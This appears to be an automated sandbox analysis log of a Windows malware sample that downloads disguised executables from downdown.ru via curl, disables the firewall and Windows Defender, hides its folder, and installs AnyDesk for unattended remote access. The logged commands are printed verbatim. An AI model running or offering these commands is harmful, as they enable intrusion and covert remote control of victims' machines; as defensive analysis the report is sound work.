Source: C:\Intel\curl.exe

Code function: 37_2_00A88705 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,SetEndOfFile,GetLastError,

37_2_00A88705

Source: C:\Intel\dc.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Intel\curl.exe	Code function: 37_2_00A7BAB0 SetUnhandledExceptionFilter,		37_2_00A7BAB0
Source: C:\Intel\curl.exe	Code function: 37_2_00A7BAE1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		37_2_00A7BAE1

Source: C:\Intel\svchost.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Intel\svchost.exe

Network Connect: 57.129.37.28 443

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: curl.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: C:\Intel\AnyDesk\bat.bat, type: DROPPED

Allocates memory in foreign processes

Source: C:\Intel\dc.exe

Memory allocated: C:\Windows\explorer.exe base: 2D50000 protect: page read and write

Disables Windows Defender (via service or powershell)

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend			Jump to behavior

Installs a global get message hook

Source: C:\Intel\Trays\Trays.exe	Windows user hook set: 0 get message C:\Intel\Trays\ShellEh6055.dll			Jump to behavior
Source: C:\Intel\Trays\4t-min64.exe	Windows user hook set: 0 get message C:\Intel\Trays\ShellEh6055x64.dll

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd netsh advfirewall set allprofiles state off	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd sc stop WinDefend	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set allprofiles state off	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -h off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Intel\dc.exe "C:\Intel\dc.exe" /SYS 1

Source: C:\Intel\Trays\Trays.exe

Code function: 44_2_00407B2E SetSecurityDescriptorDacl,

44_2_00407B2E

Source: Trays.exe, 0000002C.00000002.4670989848.000000000252A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: svchost.exe	Binary or memory string: Shell_TrayWnd
Source: svchost.exe	Binary or memory string: Progman
Source: Trays.exe, 0000002C.00000002.4670989848.000000000251C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Progmanidge
Source: 4t-min64.exe, 0000002E.00000002.4668282828.0000000000442000.00000008.00000001.01000000.0000000B.sdmp, 4t-min64.exe, 0000002E.00000002.4669950579.0000000010019000.00000004.00000001.01000000.0000000D.sdmp, 4t-min64.exe, 0000002E.00000000.3649165110.0000000000438000.00000008.00000001.01000000.0000000B.sdmp	Binary or memory string: Shell_TrayWndf
Source: Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndU
Source: svchost.exe, 0000002D.00000002.3727382428.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndSysPagerU
Source: Trays.exe, 0000002C.00000002.4670989848.000000000252A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: 4t-min64.exe, 0000002E.00000002.4670049118.000000001001A000.00000008.00000001.01000000.0000000D.sdmp	Binary or memory string: CabinetWClassShell_TrayWndSysPager
Source: Trays.exe, 0000002C.00000000.3645400363.0000000000401000.00000020.00000001.01000000.00000008.sdmp	Binary or memory string: Shell_TrayWndU
Source: Trays.exe, 0000002C.00000002.4670989848.000000000252A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndI1

Source: C:\Intel\curl.exe	Code function: IsValidCodePage,GetLocaleInfoW,	37_2_00A865B9
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	37_2_00A868EA
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	37_2_00A8682D
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	37_2_00A8686D
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	37_2_00A8696D
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,	37_2_00A86B62
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	37_2_00A86C8C
Source: C:\Intel\curl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	37_2_00A86DA3
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,	37_2_00A86D39
Source: C:\Intel\curl.exe	Code function: GetLocaleInfoW,	37_2_00A87185
Source: C:\Intel\curl.exe	Code function: EnumSystemLocalesW,	37_2_00A87148
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	44_2_00407CF6
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoA,	44_2_00407CFE
Source: C:\Intel\Trays\Trays.exe	Code function: GetLocaleInfoW,	44_2_00407D06
Source: C:\Intel\Trays\Trays.exe	Code function: EnumSystemLocalesA,	44_2_00407BDE
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	45_2_03E345D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	45_2_03E36AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	45_2_03E36A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	45_2_03E349F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	45_2_03E37C38
Source: C:\Intel\Trays\4t-min64.exe	Code function: GetLocaleInfoA,	46_2_00416640
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	47_2_03E345D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	47_2_03E36AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	47_2_03E36A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	47_2_03E349F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	47_2_03E37C38
Source: C:\Intel\svchost.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	48_2_03E345D8
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	48_2_03E36AE0
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	48_2_03E36A94
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,	48_2_03E349F4
Source: C:\Intel\svchost.exe	Code function: GetLocaleInfoA,GetACP,	48_2_03E37C38

Source: C:\Intel\AnyDesk\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Intel\AnyDesk\AnyDesk.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Intel\AnyDesk\AnyDesk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Intel\AnyDesk\AnyDesk.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
